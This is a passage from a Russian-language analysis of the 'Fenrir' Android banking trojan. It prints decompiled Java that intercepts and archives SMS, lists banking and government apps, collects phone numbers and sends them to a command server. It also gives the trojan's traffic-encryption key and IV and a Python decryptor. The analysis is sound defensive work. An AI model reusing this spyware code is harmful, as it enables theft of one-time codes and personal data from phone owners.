(next.getValue().equals(applicationInfo.packageName)) { arrayList.add(next.getKey()); break; } } } } } catch (Exception unused) { } return arrayList; } private String getAppName() { try { PackageManager packageManager = getPackageManager(); return packageManager.getApplicationLabel(packageManager.getApplicationInfo(getPackageName(), 0)).toString(); } catch (Exception unused) { return "Unknown"; } } private JSONArray getPhoneNumbers() { List<SubscriptionInfo> activeSubscriptionInfoList; JSONArray jSONArray = new JSONArray(); try { SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service"); if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null) { activeSubscriptionInfoList.size(); int i = 0; while (i < activeSubscriptionInfoList.size()) { SubscriptionInfo subscriptionInfo = activeSubscriptionInfoList.get(i); JSONObject jSONObject = new JSONObject(); String number = subscriptionInfo.getNumber(); String string = subscriptionInfo.getCarrierName() != null ? subscriptionInfo.getCarrierName().toString() : "Unknown"; i++; if (number == null || number.isEmpty()) { number = "Unknown"; } jSONObject.put("phone_number", number); jSONObject.put("operator", string); jSONArray.put(jSONObject); } } } catch (Exception e) { e.getMessage(); } return jSONArray; } private SmsManager getSmsManager() { List<SubscriptionInfo> activeSubscriptionInfoList; if (Build.VERSION.SDK_INT >= 31) { return SmsManager.getDefault(); } try { SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service"); if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null && !activeSubscriptionInfoList.isEmpty()) { return SmsManager.getSmsManagerForSubscriptionId(activeSubscriptionInfoList.get(0).getSubscriptionId()); } } catch (Exception e) { e.getMessage(); } return SmsManager.getDefault(); } /* JADX INFO: renamed from: h */ private boolean m887h() { try { if (Build.VERSION.SDK_INT < 29) { return getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(this)); } RoleManager roleManagerM525c = AbstractC0282u.m525c(getSystemService("role")); return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS"); } catch (Exception e) { e.getMessage(); return false; } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: i */ public void m888i() { int i = this.f548a; if (i >= 10) { f546f = false; stopSelf(); } else { this.f548a = i + 1; try { Thread.sleep(5000L); } catch (InterruptedException unused) { } m889j(); } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: j */ public void m889j() { try { final String strM230b = C0102cs.m230b(this); String strM121e = C0058bk.m121e(this); if (strM121e == null) { f546f = false; m888i(); return; } String str = strM121e + C0290u7.m575q(); JSONObject jSONObject = new JSONObject(); jSONObject.put("device_id", strM230b); jSONObject.put("worker", C0058bk.m123g(this)); jSONObject.put("chatId", C0058bk.m119c(this)); jSONObject.put("device_model", Build.MODEL); jSONObject.put("android_version", Build.VERSION.RELEASE); jSONObject.put("app_name", getAppName()); jSONObject.put("build_type", C0058bk.f77e); jSONObject.put("team", C0058bk.m122f(this)); JSONArray phoneNumbers = getPhoneNumbers(); jSONObject.put("sim_count", String.valueOf(phoneNumbers.length())); if (phoneNumbers.length() > 0) { JSONObject jSONObject2 = phoneNumbers.getJSONObject(0); jSONObject.put("phone_number", jSONObject2.optString("phone_number", "Unknown")); jSONObject.put("operator_name", jSONObject2.optString("operator", "Unknown")); } if (phoneNumbers.length() > 1) { JSONObject jSONObject3 = phoneNumbers.getJSONObject(1); jSONObject.put("second_phone_number", jSONObject3.optString("phone_number", "Unknown")); jSONObject.put("second_operator_name", jSONObject3.optString("operator", "Unknown")); } jSONObject.put("found_apps", new JSONArray((Collection) m886g())); jSONObject.put("sms_archive", m885f()); Http.m850q(this, str, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS19.2 @Override // okhttp3.Callback public void onFailure(Call call, IOException iOException) { iOException.getMessage(); POIX1UVS19.this.m888i(); } @Override // okhttp3.Callback public void onResponse(Call call, Response response) throws IOException { if (response.body() != null) { response.body().string(); } response.code(); if (response.isSuccessful()) { POIX1UVS19.f545e = true; POIX1UVS19.f546f = false; POIX1UVS19.this.m890k(strM230b); POIX1UVS19.this.stopSelf(); } else { response.code(); if (response.code() != 403) { POIX1UVS19.this.m888i(); } else { POIX1UVS19.f546f = false; POIX1UVS19.this.stopSelf(); } } response.close(); } }); } catch (Exception unused) { if (this.f548a >= 10) { f546f = false; } m888i(); } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: k */ public void m890k(String str) { String strOptString; SmsManager smsManager; try { if (ContextCompat.checkSelfPermission(this, "android.permission.SEND_SMS") != 0) { return; } String strM843j = Http.m843j(this, C0058bk.m121e(this) + C0290u7.m576r() + "?team=" + C0058bk.m122f(this) + "&key=" + C0058bk.m117a(this)); if (strM843j != null && (strOptString = new JSONObject(strM843j).optString("retry_phone", null)) != null && !strOptString.isEmpty() && (smsManager = getSmsManager()) != null) { try { smsManager.sendTextMessage(strOptString, null, str, null, null); } catch (SecurityException e) { e.getMessage(); } } } catch (Exception e2) { e2.getMessage(); } } @Override // android.app.Service public IBinder onBind(Intent intent) { return null; } @Override // android.app.Service public int onStartCommand(Intent intent, int i, int i2) { C0715a c0715a = new C0715a(this); if (!c0715a.m924c()) { stopSelf(); return 2; } if (!c0715a.m923b()) { stopSelf(); return 2; } c0715a.getPanelUrl(); c0715a.getTeam(); c0715a.getWorker(); if (!m887h()) { stopSelf(); return 2; } int i3 = 1; if (f545e || f546f) { stopSelf(); } else { f546f = true; new Thread(new RunnableC0021ak(this, i3)).start(); } return 1; } }
В POIX1UVS19 функция C0706a содержит перечень приложений, данные которых перехватывает данный троян. Банки, Госуслуги, Госключ, Wildberries/Ozon, WhatsApp и зачем-то Яндекс (именно через плагин поиска searchplugin). Как это работает. m886g() пробегается по списку установленных приложений и отправляет его в JSON-поле found_apps.
А кто этот ваш Fenrir?
Везде упоминается данная строка, но что же это? Возьму из статьи изображения, но судя по всему - это VaaS (Virus-as-a-Service), "вирус как сервис". Нехорошие ребята продают и обход Касперского, и консоль для веб-управления (на скриншоте видно тот самый Fenrir). "Бизнес есть бизнес", даже если в нём страдают твои же соотечественники.



FenrirCrypto служит для кастомного шифрования трафика. Взглянем на файл payload_jadx/sources/p000a/C0293v0.java
C0293v0
package p000a; import android.util.Base64; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; /* JADX INFO: renamed from: a.v0 */ /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class C0293v0 { /* JADX INFO: renamed from: a */ private static final String f377a = "FenrirCrypto"; /* JADX INFO: renamed from: b */ private static String f378b = null; /* JADX INFO: renamed from: c */ private static byte[] f379c = null; /* JADX INFO: renamed from: e */ private static final int f381e = 45; /* JADX INFO: renamed from: g */ private static final int f383g = 62; /* JADX INFO: renamed from: i */ private static final int f385i = 79; /* JADX INFO: renamed from: k */ private static final int f387k = 96; /* JADX INFO: renamed from: m */ private static final int f389m = 113; /* JADX INFO: renamed from: d */ private static final int[] f380d = {66, 25, 118, 120, 3, 37, 177, 174}; /* JADX INFO: renamed from: f */ private static final int[] f382f = {50, 31, 105, 44, 8, 200, 170, 132}; /* JADX INFO: renamed from: h */ private static final int[] f384h = {36, 55, 66, 91, 224, 219, 145, 155}; /* JADX INFO: renamed from: j */ private static final int[] f386j = {4, 50, 182, 171, 249, 224, 133, 167}; /* JADX INFO: renamed from: l */ private static final int[] f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81}; /* JADX INFO: renamed from: a */ private static char[] m601a(int[] iArr, int i) { char[] cArr = new char[iArr.length]; int i2 = 0; while (true) { int i3 = 29364; while (true) { int i4 = (i3 ^ 29364) % 5; if (i4 == 0) { cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255)); } else if (i4 == 1) { i2++; if (i2 < iArr.length) { break; } i3 = 29366; } else { if (i4 == 2) { return cArr; } if (i4 != 3) { if (i4 != 4) { } } } i3 = 29365; } } } /* JADX INFO: renamed from: b */ private static String m602b() { char[] cArr = new char[64]; int i = 0; int i2 = 90; while (i2 >= 65) { cArr[i] = (char) i2; i2--; i++; } int i3 = 122; while (i3 >= 97) { cArr[i] = (char) i3; i3--; i++; } int i4 = 57; while (i4 >= 48) { cArr[i] = (char) i4; i4--; i++; } cArr[i] = '+'; cArr[i + 1] = '/'; return new String(cArr); } /* JADX INFO: renamed from: c */ public static String m603c(String str) { try { String strM571m = C0290u7.m571m(); if (str != null && str.startsWith(strM571m)) { String strSubstring = str.substring(strM571m.length()); String strM602b = m602b(); String strM608h = m608h(); StringBuilder sb = new StringBuilder(); for (int i = 0; i < strSubstring.length(); i++) { char cCharAt = strSubstring.charAt(i); int iIndexOf = strM602b.indexOf(cCharAt); if (iIndexOf >= 0) { sb.append(strM608h.charAt(iIndexOf)); } else { sb.append(cCharAt); } } byte[] bArrDecode = Base64.decode(sb.toString(), 0); for (int i2 = 2; i2 < bArrDecode.length; i2 += 3) { bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255); } for (int i3 = 0; i3 < bArrDecode.length - 4; i3 += 8) { for (int i4 = 0; i4 < 4; i4++) { int i5 = i3 + i4; int i6 = i5 + 4; if (i6 < bArrDecode.length) { byte b = bArrDecode[i5]; bArrDecode[i5] = bArrDecode[i6]; bArrDecode[i6] = b; } } } byte[] bytes = m606f().getBytes(StandardCharsets.UTF_8); byte[] bArrM607g = m607g(); byte[] bArr = new byte[bArrDecode.length]; for (int i7 = 0; i7 < bArrDecode.length; i7++) { bArr[i7] = (byte) (((bytes[i7 % bytes.length] ^ bArrDecode[i7]) ^ bArrM607g[i7 % bArrM607g.length]) ^ (i7 & 255)); } return new String(bArr, StandardCharsets.UTF_8); } return null; } catch (Exception e) { e.getMessage(); return null; } } /* JADX INFO: renamed from: d */ public static String m604d(String str) { int i; int i2; try { String strM606f = m606f(); Charset charset = StandardCharsets.UTF_8; byte[] bytes = strM606f.getBytes(charset); byte[] bArrM607g = m607g(); byte[] bytes2 = str.getBytes(charset); int length = bytes2.length; byte[] bArr = new byte[length]; for (int i3 = 0; i3 < bytes2.length; i3++) { bArr[i3] = (byte) (((bytes[i3 % bytes.length] ^ bytes2[i3]) ^ bArrM607g[i3 % bArrM607g.length]) ^ (i3 & 255)); } for (int i4 = 0; i4 < length - 4; i4 += 8) { for (int i5 = 0; i5 < 4 && (i2 = (i = i4 + i5) + 4) < length; i5++) { byte b = bArr[i]; bArr[i] = bArr[i2]; bArr[i2] = b; } } for (int i6 = 2; i6 < length; i6 += 3) { bArr[i6] = (byte) (bArr[i6] ^ 255); } String strEncodeToString = Base64.encodeToString(bArr, 2); String strM608h = m608h(); String strM602b = m602b(); StringBuilder sb = new StringBuilder(); for (int i7 = 0; i7 < strEncodeToString.length(); i7++) { char cCharAt = strEncodeToString.charAt(i7); int iIndexOf = strM608h.indexOf(cCharAt); if (iIndexOf >= 0) { sb.append(strM602b.charAt(iIndexOf)); } else { sb.append(cCharAt); } } String str2 = C0290u7.m571m() + sb.toString(); str2.length(); return str2; } catch (Exception e) { e.getMessage(); return null; } } /* JADX INFO: renamed from: e */ public static boolean m605e(String str) { return str != null && str.startsWith(C0290u7.m571m()); } /* JADX INFO: renamed from: f */ private static String m606f() { String str = f378b; if (str != null) { return str; } char[] cArrM601a = m601a(f380d, 45); char[] cArrM601a2 = m601a(f382f, f383g); char[] cArrM601a3 = m601a(f384h, f385i); char[] cArrM601a4 = m601a(f386j, f387k); StringBuilder sb = new StringBuilder(32); for (char c : cArrM601a) { sb.append(c); } for (char c2 : cArrM601a2) { sb.append(c2); } for (char c3 : cArrM601a3) { sb.append(c3); } for (char c4 : cArrM601a4) { sb.append(c4); } String string = sb.toString(); f378b = string; return string; } /* JADX INFO: renamed from: g */ private static byte[] m607g() { byte[] bArr = f379c; if (bArr != null) { return bArr; } f379c = new byte[f388l.length]; int i = 0; while (true) { int[] iArr = f388l; if (i >= iArr.length) { return f379c; } f379c[i] = (byte) (iArr[i] ^ (((i * 11) + 116) & 255)); i++; } } /* JADX INFO: renamed from: h */ private static String m608h() { char[] cArr = new char[64]; int i = 0; int i2 = 65; while (i2 <= 90) { cArr[i] = (char) i2; i2++; i++; } int i3 = 97; while (i3 <= 122) { cArr[i] = (char) i3; i3++; i++; } int i4 = 48; while (i4 <= 57) { cArr[i] = (char) i4; i4++; i++; } cArr[i] = '+'; cArr[i + 1] = '/'; return new String(cArr); } }
Разработки даже не скрывают свой "почерк":
private static final String f377a = "FenrirCrypto";
Ключ шифрования хранится в методе m606f():
private static String m606f() { char[] part1 = m601a(f380d, 45); // {66, 25, 118, 120, 3, 37, 177, 174} char[] part2 = m601a(f382f, 62); // {50, 31, 105, 44, 8, 200, 170, 132} char[] part3 = m601a(f384h, 79); // {36, 55, 66, 91, 224, 219, 145, 155} char[] part4 = m601a(f386j, 96); // {4, 50, 182, 171, 249, 224, 133, 167} return part1 + part2 + part3 + part4; // 32 символа }
Результат: vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e
Инициализация вектора реализована в методе m607g() (строки в файле 236-251):
private static byte[] m607g() { byte[] iv = new byte[f388l.length]; // 12 байт for (int i = 0; i < f388l.length; i++) { iv[i] = (byte) (f388l[i] ^ (((i * 11) + 116) & 255)); } return iv; } // f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81}
Результат: a357c91e84f26b3de74915bc (12 байт)
Сам алгоритм шифрования - это метод m604d()
Шаг |
Операция |
Строки в файле |
|---|---|---|
1 |
XOR каждого байта: |
163-168 |
2 |
Блочная перестановка: каждые 8 байт — swap первых 4 со вторыми 4 |
170-175 |
3 |
Инвертирование битов: каждый 3-й байт |
177-179 |
4 |
Base64 (NO_WRAP) |
180 |
5 |
Подстановочный шифр: замена символов Base64 (A↔Z, B↔Y, …) |
182-192 |
6 |
Префикс: |
193 |
Ну а чтобы сдешифровать, нужно сделать всё наоборот (метод m603c()):
Шаг |
Операция |
Строки |
|---|---|---|
1 |
Проверка и удаление префикса |
110-112 |
2 |
Обратная подстановка символов |
116-123 |
3 |
Base64 decode |
125 |
4 |
Обратное инвертирование битов (симметрично) |
126-128 |
5 |
Обратная блочная перестановка (симметрично) |
129-139 |
6 |
Обратный XOR (симметричен) |
142-145 |
Зашифрованное сообщение отправляется по HTTP. Формирование JSON идёт в файле Http.java (строки 110-144)
Http.java
package com.reawlme.kcupeyue; import android.content.Context; import java.io.IOException; import java.net.ConnectException; import java.net.SocketException; import java.net.SocketTimeoutException; import java.net.URL; import java.net.UnknownHostException; import java.util.Objects; import java.util.concurrent.TimeUnit; import okhttp3.Call; import okhttp3.Callback; import okhttp3.HttpUrl; import okhttp3.Interceptor; import okhttp3.MediaType; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.RequestBody; import okhttp3.Response; import okio.Buffer; import org.json.JSONObject; import p000a.C0058bk; import p000a.C0290u7; import p000a.C0293v0; /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class Http { /* JADX INFO: renamed from: a */ private static final String f521a = "Http"; /* JADX INFO: renamed from: b */ private static final MediaType f522b = MediaType.parse(C0290u7.m570l()); /* JADX INFO: renamed from: c */ private static OkHttpClient f523c = null; /* JADX INFO: renamed from: d */ private static Context f524d = null; /* JADX INFO: renamed from: e */ private static final int f525e = 3; public static abstract class DecryptCallback implements Callback { /* JADX INFO: renamed from: a */ private final Context f526a; /* JADX INFO: renamed from: b */ private final String f527b; /* JADX INFO: renamed from: c */ private final String f528c; /* JADX INFO: renamed from: d */ private final String f529d; /* JADX INFO: renamed from: e */ private int f530e; public DecryptCallback() { this.f530e = 0; this.f526a = null; this.f527b = null; this.f528c = null; this.f529d = null; } /* JADX INFO: renamed from: a */ public abstract void m852a(Call call, Response response, String str); /* JADX INFO: renamed from: b */ public void m853b(IOException iOException) { } @Override // okhttp3.Callback public void onFailure(Call call, IOException iOException) { String str; iOException.getMessage(); if (this.f526a == null || this.f527b == null || !Http.m846m(iOException, this.f530e)) { m853b(iOException); return; } this.f530e++; String str2 = Http.m842i(this.f526a) + this.f527b; String str3 = this.f528c; if (str3 == null || (str = this.f529d) == null) { Http.m845l(this.f526a, str2, this); } else { Http.m851r(this.f526a, str2, str3, str, this); } } @Override // okhttp3.Callback public void onResponse(Call call, Response response) throws IOException { m852a(call, response, Http.m838e(response.body() != null ? response.body().string() : HttpUrl.FRAGMENT_ENCODE_SET)); } public DecryptCallback(Context context, String str, String str2, String str3) { this.f530e = 0; this.f526a = context; this.f527b = str; this.f528c = str2; this.f529d = str3; } } /* JADX INFO: renamed from: com.reawlme.kcupeyue.Http$a */ public static class C0702a implements Interceptor { private C0702a() { } public /* synthetic */ C0702a(int i) { this(); } @Override // okhttp3.Interceptor public Response intercept(Interceptor.Chain chain) throws IOException { Request request = chain.request(); if (request.body() == null || !"POST".equals(request.method())) { return chain.proceed(request); } try { Buffer buffer = new Buffer(); request.body().writeTo(buffer); String utf8 = buffer.readUtf8(); String strM604d = C0293v0.m604d(utf8); if (strM604d == null) { return chain.proceed(request); } JSONObject jSONObject = new JSONObject(); jSONObject.put("enc", strM604d); String string = jSONObject.toString(); Request requestBuild = request.newBuilder().header(C0290u7.m566h(), C0290u7.m569k()).header(C0290u7.m568j(), C0290u7.m564f()).method(request.method(), RequestBody.create(string, Http.f522b)).build(); utf8.length(); string.length(); return chain.proceed(requestBuild); } catch (Exception e) { e.getMessage(); return chain.proceed(request); } } } /* JADX INFO: renamed from: e */ public static String m838e(String str) { if (str == null || str.isEmpty()) { return str; } try { JSONObject jSONObject = new JSONObject(str); if (!jSONObject.has("enc")) { return str; } String strM603c = C0293v0.m603c(jSONObject.getString("enc")); if (strM603c != null) { return strM603c; } return null; } catch (Exception unused) { return str; } } /* JADX INFO: renamed from: f */ public static void m839f(Context context, String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } /* JADX INFO: renamed from: g */ public static void m840g(String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } public static synchronized OkHttpClient getClient() { try { if (f523c == null) { OkHttpClient.Builder builder = new OkHttpClient.Builder(); TimeUnit timeUnit = TimeUnit.SECONDS; f523c = builder.connectTimeout(15L, timeUnit).writeTimeout(15L, timeUnit).readTimeout(15L, timeUnit).retryOnConnectionFailure(false).addInterceptor(new C0702a(0)).build(); } } catch (Throwable th) { throw th; } return f523c; } /* JADX INFO: renamed from: h */ public static void m841h(String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } /* JADX INFO: renamed from: i */ public static String m842i(Context context) { if (context == null && f524d == null) { return null; } if (context == null) { context = f524d; } return C0717c.m927d(context).getCurrentServerUrl(); } /* JADX INFO: renamed from: j */ public static String m843j(Context context, String str) { return m844k(context, str, 0); } /* JADX INFO: renamed from: k */ private static String m844k(Context context, String str, int i) { try { Response responseExecute = getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).execute(); if (!responseExecute.isSuccessful() || responseExecute.body() == null) { return null; } return m838e(responseExecute.body().string()); } catch (Exception e) { e.getMessage(); if (m846m(e, i)) { try { URL url = new URL(str); String path = url.getPath(); if (url.getQuery() != null) { path = path + "?" + url.getQuery(); } return m844k(context, m842i(context) + path, i + 1); } catch (Exception e2) { e2.getMessage(); return null; } } return null; } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: l */ public static void m845l(Context context, String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: m */ public static boolean m846m(Throwable th, int i) { if (f524d == null) { return false; } if (!m848o(th)) { th.getClass(); return false; } if (i >= 3) { return false; } C0717c c0717cM927d = C0717c.m927d(f524d); if (!c0717cM927d.m937l()) { return false; } Objects.toString(c0717cM927d.getCurrentServer()); return true; } /* JADX INFO: renamed from: n */ public static void m847n(Context context) { f524d = context.getApplicationContext(); } /* JADX INFO: renamed from: o */ private static boolean m848o(Throwable th) { return (th instanceof SocketTimeoutException) || (th instanceof SocketException) || (th instanceof UnknownHostException) || (th instanceof ConnectException) || (th.getMessage() != null && (th.getMessage().contains("Connection") || th.getMessage().contains("timeout") || th.getMessage().contains("refused"))); } /* JADX INFO: renamed from: p */ public static void m849p(Context context) { if (context != null) { C0717c.m927d(context).m936i(); } } /* JADX INFO: renamed from: q */ public static void m850q(Context context, String str, String str2, String str3, Callback callback) { getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback); } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: r */ public static void m851r(Context context, String str, String str2, String str3, Callback callback) { getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback); } }
Получится что-то похоже на
POST /media/uplaad HTTP/1.1 X-Fenrir-Enc: application/json X-API-Key: <device_id> Content-Type: application/json; charset=utf-8 {"enc":"FNR1m46Quj3Uop8Dv5bn0TT48++TEvI0nb+Hf+C4wlvvtYk1Z6R="}
Как обычно просим ИИ сделать нам дешифратор:
fenrir_crypto.py
#!/usr/bin/env python3 """ FenrirCrypto implementation — custom XOR-based encryption used by Fenrir Banking Trojan v4.0.5. Encrypts/decrypts HTTP traffic between infected device and C2 server (176.124.222.81). Usage: python fenrir_crypto.py encrypt "hello world" python fenrir_crypto.py decrypt "FNR1..." """ import base64 import sys # ─── Crypto constants (extracted from C0293v0.java) ────────────── KEY = "vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e" IV = bytes.fromhex("a357c91e84f26b3de74915bc") PREFIX = "FNR1" # Standard Base64 alphabet (m608h) STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # Reversed Base64 alphabet (m602b) REVERSED = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/" # Build translation tables TO_REVERSED = str.maketrans(STANDARD, REVERSED) TO_STANDARD = str.maketrans(REVERSED, STANDARD) def _xor_transform(data: bytes) -> bytes: """Step 1+3 combined: XOR with key, IV, and position; then invert every 3rd byte.""" key_bytes = KEY.encode('utf-8') out = bytearray(len(data)) for i in range(len(data)): out[i] = data[i] ^ key_bytes[i % len(key_bytes)] ^ IV[i % len(IV)] ^ (i & 0xFF) # Step 3: invert every 3rd byte starting from index 2 for i in range(2, len(out), 3): out[i] ^= 0xFF return bytes(out) def _block_swap(data: bytearray): """Step 2: swap first 4 bytes with second 4 bytes in each 8-byte block.""" for i in range(0, len(data) - 4, 8): for j in range(4): if i + j + 4 < len(data): data[i + j], data[i + j + 4] = data[i + j + 4], data[i + j] def encrypt(plaintext: str) -> str: """Full encryption: plaintext -> FNR1...""" # Step 1: Triple XOR data = bytearray(plaintext.encode('utf-8')) for i in range(len(data)): data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF) # Step 2: Block swap _block_swap(data) # Step 3: Invert every 3rd byte for i in range(2, len(data), 3): data[i] ^= 0xFF # Step 4: Base64 encoded = base64.b64encode(bytes(data)).decode('ascii') # Step 5: Character substitution substituted = encoded.translate(TO_REVERSED) # Step 6: Add prefix return PREFIX + substituted def decrypt(ciphertext: str) -> str: """Full decryption: FNR1... -> plaintext.""" # Step 1: Check and remove prefix if not ciphertext.startswith(PREFIX): raise ValueError(f"Missing prefix: expected '{PREFIX}'") payload = ciphertext[len(PREFIX):] # Step 2: Reverse character substitution restored = payload.translate(TO_STANDARD) # Step 3: Base64 decode data = bytearray(base64.b64decode(restored)) # Step 4: Reverse byte inversion (symmetric — same operation) for i in range(2, len(data), 3): data[i] ^= 0xFF # Step 5: Reverse block swap (symmetric — same operation) _block_swap(data) # Step 6: Reverse XOR (symmetric — same operation) for i in range(len(data)): data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF) return bytes(data).decode('utf-8') # ─── CLI ──────────────────────────────────────────────────────── if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python fenrir_crypto.py encrypt|decrypt <text>") print() print("Examples:") print(' python fenrir_crypto.py encrypt "{\\"test\\":\\"hello\\"}"') print(" python fenrir_crypto.py decrypt FNR1...") sys.exit(1) action = sys.argv[1] text = sys.argv[2] if action == "encrypt": print(encrypt(text)) elif action == "decrypt": try: print(decrypt(text)) except Exception as e: print(f"Decryption failed: {e}") else: print(f"Unknown action: {action}")
Как я говорил выше - сервер давно в ауте, поэтому ни ответа, ни привета - проверить мне не на чем.
Ну и быстро пробежимся по оставшимся частям кода, а то уже статья и так большая (в плане приложенного кода), а мне хотелось всего лишь понять, на сколько был опасен вирус.
SMS-перехватчик
Регистрация как SMS-приложение по умолчанию
MainActivity.java:132-151 — m869r():
Код
// Android 10+: startActivityForResult(roleManager.createRequestRoleIntent("android.app.role.SMS"), 1); // Android 9-: startActivity(new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT") .putExtra("package", getPackageName()));
MainActivity.java:169-181 — m871t(): если пользователь отклоняет — показывается AlertDialog с требованием сделать приложение SMS-обработчиком.
Проверка статуса
POIX1UVS16.java:45-51 и POIX1UVS19.java:321-332:
Код
private boolean m876c(Context context) { if (Build.VERSION.SDK_INT < 29) { return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context)); } RoleManager rm = context.getSystemService("role"); return rm != null && rm.isRoleHeld("android.app.role.SMS"); }
Перехват SMS
POIX1UVS16.java:110-150 — onReceive():
Код
public void onReceive(Context context, Intent intent) { // 1. Проверка action — только SMS_RECEIVED или SMS_DELIVER // 2. Захват WakeLock на 30 секунд PowerManager.WakeLock wl = pm.newWakeLock(1, "POIX1UVS16:Lock"); wl.acquire(30000L); // 3. Извлечение PDU из intent Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for (Object pdu : pdus) { SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu, format); sender = sms.getOriginatingAddress(); body.append(sms.getMessageBody()); } // 4. Отправка на сервер m878e(context, sender, body.toString(), simSlot, wl); // строка 139 // 5. Запуск foreground-сервиса для пинга m879f(context); // строка 140 }
Отправка SMS на сервер
POIX1UVS16.java:67-94 — m878e():
Код
JSONObject json = new JSONObject(); json.put("device_id", deviceId); json.put("sender", phoneNumber); // от кого SMS json.put("text", smsText); // текст SMS (!!!) json.put("sim_slot", simSlot); // с какой SIM-карты Http.m850q(context, C0058bk.m121e(context) + C0290u7.m577s(), // panel_url + "/media/uplaad" json.toString(), deviceId, callback );
Сервис сбора данных
Запуск
POIX1UVS19.java:452-477 — onStartCommand():
Код
// Проверка: выполнена ли инициализация if (!config.m924c()) { stopSelf(); return; } // Проверка: есть ли сервера if (!config.m923b()) { stopSelf(); return; } // Проверка: является ли приложение SMS-обработчиком if (!m887h()) { stopSelf(); return; } // Запуск сбора данных в фоне new Thread(new RunnableC0021ak(this, 1)).start();
Сбор SMS-архива
POIX1UVS19.java:98-244 — m885f():
Код
// Запрос к content://sms/inbox — последние 200 входящих Cursor cursor = getContentResolver().query( Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200"); // Запрос к content://sms/sent — последние 100 исходящих cursor = getContentResolver().query( Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");
Форматирует результат в ASCII-таблицу с заголовком “SMS ARCHIVE” и датами в часовом поясе “Europe/Moscow” (строка 105).
Сбор установленных приложений
Я уже это описывал: файлPOIX1UVS19.java:247-265 — метод m886g()
Сбор телефонных номеров
POIX1UVS19.java:276-302 — getPhoneNumbers():
SubscriptionManager sm = getSystemService("telephony_subscription_service"); for (SubscriptionInfo sub : sm.getActiveSubscriptionInfoList()) { json.put("phone_number", sub.getNumber()); json.put("operator", sub.getCarrierName().toString()); }
Отправка check-in на сервер
POIX1UVS19.java:353-386 — m889j():
URL: panel_url + "/store/checkout" (строка 362)
JSON-данные
{ "device_id": "...", "worker": "...", "chatId": "...", "device_model": "Samsung Galaxy S21", "android_version": "14", "app_name": "Фото(3)", "build_type": "4.0.5", "team": "...", "sim_count": "2", "phone_number": "+79001234567", "operator_name": "MTS", "second_phone_number": "+79007654321", "second_operator_name": "Beeline", "found_apps": ["Сбербанк", "ВТБ", "Wildberries", "Госуслуги"], "sms_archive": "╔══ SMS ARCHIVE ══╗\n ... 200 SMS ..." }
Версия трояна (C0058bk.java:23):
public static final String f77e = "4.0.5";
Вот тут конечно молодцы - можно понять, какую версию тебе выдали)
Retry-механизм
POIX1UVS19.java:336-349 — m888i(): повторяет отправку до 10 раз с паузой 5 секунд.
Foreground-сервис и C2-команды
Защита от убийства
POIX1UVS21.java:410-423 — onCreate():
// WakeLock — не даёт процессору заснуть PowerManager.WakeLock wl = ((PowerManager) getSystemService("power")) .newWakeLock(1, "POIX1UVS21:Lock"); wl.acquire(30000L); // Foreground-сервис с невидимым уведомлением startForeground(1, buildSilentNotification());
POIX1UVS21.java:147-158 — m907h(): создаёт notification channel с выключенными значками, вибрацией и звуком, с низкой важностью (IMPORTANCE_LOW).
Ping и статус устройства
